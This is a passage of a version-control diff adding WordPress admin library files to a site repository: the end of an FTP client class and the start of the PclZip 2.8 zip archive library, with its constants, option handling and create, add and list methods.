+		foreach($list as $k=>$v) {
+			$entry=$this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if($entry["name"]=="." or $entry["name"]=="..")
+				continue;
+
+			$dirlist[$entry['name']] = $entry;
+		}
+
+		return $dirlist;
+	}
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+	function _checkCode() {
+		return ($this->_code<400 and $this->_code>0);
+	}
+
+	function _list($arg="", $cmd="LIST", $fnction="_list") {
+		if(!$this->_data_prepare()) return false;
+		if(!$this->_exec($cmd.$arg, $fnction)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out="";
+		if($this->_code<200) {
+			$out=$this->_data_read();
+			$this->_data_close();
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			if($out === FALSE ) return FALSE;
+			$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
+//			$this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
+		}
+		return $out;
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!-- Partie : gestion des erreurs                                                            -->
+// <!-- --------------------------------------------------------------------------------------- -->
+// Gnre une erreur pour traitement externe  la classe
+	function PushError($fctname,$msg,$desc=false){
+		$error=array();
+		$error['time']=time();
+		$error['fctname']=$fctname;
+		$error['msg']=$msg;
+		$error['desc']=$desc;
+		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
+		$this->SendMSG($fctname.': '.$msg.$tmp);
+		return(array_push($this->_error_array,$error));
+	}
+
+// Rcupre une erreur externe
+	function PopError(){
+		if(count($this->_error_array)) return(array_pop($this->_error_array));
+			else return(false);
+	}
+}
+
+$mod_sockets=TRUE;
+if (!extension_loaded('sockets')) {
+	$prefix = (PHP_SHLIB_SUFFIX == 'dll') ? 'php_' : '';
+	if(!@dl($prefix . 'sockets.' . PHP_SHLIB_SUFFIX)) $mod_sockets=FALSE;
+}
+
+require_once "class-ftp-".($mod_sockets?"sockets":"pure").".php";
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-pclzip.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-pclzip.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-pclzip.php	(revision 44)
@@ -0,0 +1,6285 @@
+<?php
+// --------------------------------------------------------------------------------
+// PhpConcept Library - Zip Module 2.8
+// --------------------------------------------------------------------------------
+// License GNU/LGPL - Vincent Blavet - March 2006
+// http://www.phpconcept.net
+// --------------------------------------------------------------------------------
+//
+// Presentation :
+//   PclZip is a PHP library that manage ZIP archives.
+//   So far tests show that archives generated by PclZip are readable by
+//   WinZip application and other tools.
+//
+// Description :
+//   See readme.txt and http://www.phpconcept.net
+//
+// Warning :
+//   This library and the associated files are non commercial, non professional
+//   work.
+//   It should not have unexpected results. However if any damage is caused by
+//   this software the author can not be responsible.
+//   The use of this software is at the risk of the user.
+//
+// --------------------------------------------------------------------------------
+// $Id: pclzip.lib.php,v 1.55 2009/04/22 07:38:36 vblavet Exp $
+// --------------------------------------------------------------------------------
+
+  // ----- Constants
+  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
+    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
+  }
+  
+  // ----- File list separator
+  // In version 1.x of PclZip, the separator for file list is a space
+  // (which is not a very smart choice, specifically for windows paths !).
+  // A better separator should be a comma (,). This constant gives you the
+  // abilty to change that.
+  // However notice that changing this value, may have impact on existing
+  // scripts, using space separated filenames.
+  // Recommanded values for compatibility with older versions :
+  //define( 'PCLZIP_SEPARATOR', ' ' );
+  // Recommanded values for smart separation of filenames.
+  if (!defined('PCLZIP_SEPARATOR')) {
+    define( 'PCLZIP_SEPARATOR', ',' );
+  }
+
+  // ----- Error configuration
+  // 0 : PclZip Class integrated error handling
+  // 1 : PclError external library error handling. By enabling this
+  //     you must ensure that you have included PclError library.
+  // [2,...] : reserved for futur use
+  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
+    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
+  }
+
+  // ----- Optional static temporary directory
+  //       By default temporary files are generated in the script current
+  //       path.
+  //       If defined :
+  //       - MUST BE terminated by a '/'.
+  //       - MUST be a valid, already created directory
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
+  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
+  if (!defined('PCLZIP_TEMPORARY_DIR')) {
+    define( 'PCLZIP_TEMPORARY_DIR', '' );
+  }
+
+  // ----- Optional threshold ratio for use of temporary files
+  //       Pclzip sense the size of the file to add/extract and decide to
+  //       use or not temporary file. The algorythm is looking for 
+  //       memory_limit of PHP and apply a ratio.
+  //       threshold = memory_limit * ratio.
+  //       Recommended values are under 0.5. Default 0.47.
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
+  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
+    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
+  }
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
+// --------------------------------------------------------------------------------
+
+  // ----- Global variables
+  $g_pclzip_version = "2.8";
+
+  // ----- Error codes
+  //   -1 : Unable to open file in binary write mode
+  //   -2 : Unable to open file in binary read mode
+  //   -3 : Invalid parameters
+  //   -4 : File does not exist
+  //   -5 : Filename is too long (max. 255)
+  //   -6 : Not a valid zip file
+  //   -7 : Invalid extracted file size
+  //   -8 : Unable to create directory
+  //   -9 : Invalid archive extension
+  //  -10 : Invalid archive format
+  //  -11 : Unable to delete file (unlink)
+  //  -12 : Unable to rename file (rename)
+  //  -13 : Invalid header checksum
+  //  -14 : Invalid archive size
+  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
+  define( 'PCLZIP_ERR_NO_ERROR', 0 );
+  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
+  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
+  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
+  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
+  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
+  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
+  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
+  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
+  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
+  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
+  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
+  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
+  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
+  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
+  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
+  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
+  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
+  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
+  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
+
+  // ----- Options values
+  define( 'PCLZIP_OPT_PATH', 77001 );
+  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
+  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
+  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
+  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
+  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
+  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
+  define( 'PCLZIP_OPT_BY_NAME', 77008 );
+  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
+  define( 'PCLZIP_OPT_BY_EREG', 77010 );
+  define( 'PCLZIP_OPT_BY_PREG', 77011 );
+  define( 'PCLZIP_OPT_COMMENT', 77012 );
+  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
+  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
+  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
+  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
+  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
+  // Having big trouble with crypt. Need to multiply 2 long int
+  // which is not correctly supported by PHP ...
+  //define( 'PCLZIP_OPT_CRYPT', 77018 );
+  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
+  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias
+  
+  // ----- File description attributes
+  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
+  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
+  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
+  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
+  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
+  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );
+
+  // ----- Call backs values
+  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
+  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
+  define( 'PCLZIP_CB_PRE_ADD', 78003 );
+  define( 'PCLZIP_CB_POST_ADD', 78004 );
+  /* For futur use
+  define( 'PCLZIP_CB_PRE_LIST', 78005 );
+  define( 'PCLZIP_CB_POST_LIST', 78006 );
+  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
+  define( 'PCLZIP_CB_POST_DELETE', 78008 );
+  */
+
+  // --------------------------------------------------------------------------------
+  // Class : PclZip
+  // Description :
+  //   PclZip is the class that represent a Zip archive.
+  //   The public methods allow the manipulation of the archive.
+  // Attributes :
+  //   Attributes must not be accessed directly.
+  // Methods :
+  //   PclZip() : Object creator
+  //   create() : Creates the Zip archive
+  //   listContent() : List the content of the Zip archive
+  //   extract() : Extract the content of the archive
+  //   properties() : List the properties of the archive
+  // --------------------------------------------------------------------------------
+  class PclZip
+  {
+    // ----- Filename of the zip file
+    var $zipname = '';
+
+    // ----- File descriptor of the zip file
+    var $zip_fd = 0;
+
+    // ----- Internal error handling
+    var $error_code = 1;
+    var $error_string = '';
+    
+    // ----- Current status of the magic_quotes_runtime
+    // This value store the php configuration for magic_quotes
+    // The class can then disable the magic_quotes and reset it after
+    var $magic_quotes_status;
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZip()
+  // Description :
+  //   Creates a PclZip object and set the name of the associated Zip archive
+  //   filename.
+  //   Note that no real action is taken, if the archive does not exist it is not
+  //   created. Use create() for that.
+  // --------------------------------------------------------------------------------
+  function PclZip($p_zipname)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");
+
+    // ----- Tests the zlib
+    if (!function_exists('gzopen'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 1, "zlib extension seems to be missing");
+      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
+    }
+
+    // ----- Set the attributes
+    $this->zipname = $p_zipname;
+    $this->zip_fd = 0;
+    $this->magic_quotes_status = -1;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
+    return;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   create($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two different synopsis. The first one is historical.
+  //   This method creates a Zip Archive. The Zip file is created in the
+  //   filesystem. The files and directories indicated in $p_filelist
+  //   are added in the archive. See the parameters description for the
+  //   supported format of $p_filelist.
+  //   When a directory is in the list, the directory and its content is added
+  //   in the archive.
+  //   In this synopsis, the function takes an optional variable list of
+  //   options. See bellow the supported options.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function create($p_filelist)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::create', "filelist='$p_filelist', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove from the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options detected");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+                                             ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Invalid number / type of arguments");
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+    
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+    
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+    
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+      
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+    
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        if ($v_string != '') {
+          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Ignore an empty filename");
+        }
+      }
+    }
+    
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_result_list);
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   add($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This methods add the list of files in an existing archive.
+  //   If a file with the same name already exists, it is added at the end of the
+  //   archive, the first one is still present.
+  //   If the archive does not exist, it is created.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_OPT_ADD_COMMENT :
+  //   PCLZIP_OPT_PREPEND_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function add($p_filelist)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::add', "filelist='$p_filelist', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options detected");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
+                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+												   ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+    
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+    
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+      
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+    
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+      }
+    }
+    
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return 0;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_result_list);
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : listContent()
+  // Description :
+  //   This public method, gives the list of the files and directories, with their
+  //   properties.
+  //   The properties of each entries in the list are (used also in other functions) :
+  //     filename : Name of the file. For a create or add action it is the filename
+  //                given by the user. For an extract function it is the filename
+  //                of the extracted file.
+  //     stored_filename : Name of the file / directory stored in the archive.
+  //     size : Size of the stored file.
+  //     compressed_size : Size of the file's data compressed in the archive
+  //                       (without the headers overhead)
+  //     mtime : Last known modification date of the file (UNIX timestamp)
+  //     comment : Comment associated with the file
+  //     folder : true | false
+  //     index : index of the file in the archive
+  //     status : status of the action (depending of the action) :
+  //              Values are :
+  //                ok : OK !
+  //                filtered : the file / dir is not extracted (filtered by user)
+  //                already_a_directory : the file can not be extracted because a
+  //                                      directory with the same name already exists
+  //                write_protected : the file can not be extracted because a file
+  //                                  with the same name already exists and is
+  //                                  write protected
+  //                newer_exist : the file was not extracted because a newer file exists
+  //                path_creation_fail : the file is not extracted because the folder
+  //                                     does not exist and can not be created
+  //                write_error : the file was not extracted because there was a
+  //                              error while writing the file
+  //                read_error : the file was not extracted because there was a error
+  //                             while reading the file
+  //                invalid_header : the file was not extracted because of an archive
+  //                                 format error (bad file header)
+  //   Note that each time a method can continue operating when there
+  //   is an action error on a file, the error is only logged in the file status.
+  // Return Values :
+  //   0 on an unrecoverable failure,
+  //   The list of the files in the archive.
+  // --------------------------------------------------------------------------------
+  function listContent()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::listContent', "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    if (($v_result = $this->privList($p_list)) != 1)
+    {
+      unset($p_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extract($p_path="./", $p_remove_path="")
+  //   extract([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method extract all the files / directories from the archive to the
+  //   folder indicated in $p_path.
+  //   If you want to ignore the 'root' part of path of the memorized files
+  //   you can indicate this in the optional $p_remove_path parameter.
+  //   By default, if a newer file with the same name already exists, the
+  //   file is not extracted.
+  //
+  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
+  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
+  //   at the end of the path value of PCLZIP_OPT_PATH.
+  // Parameters :
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 or a negative value on failure,
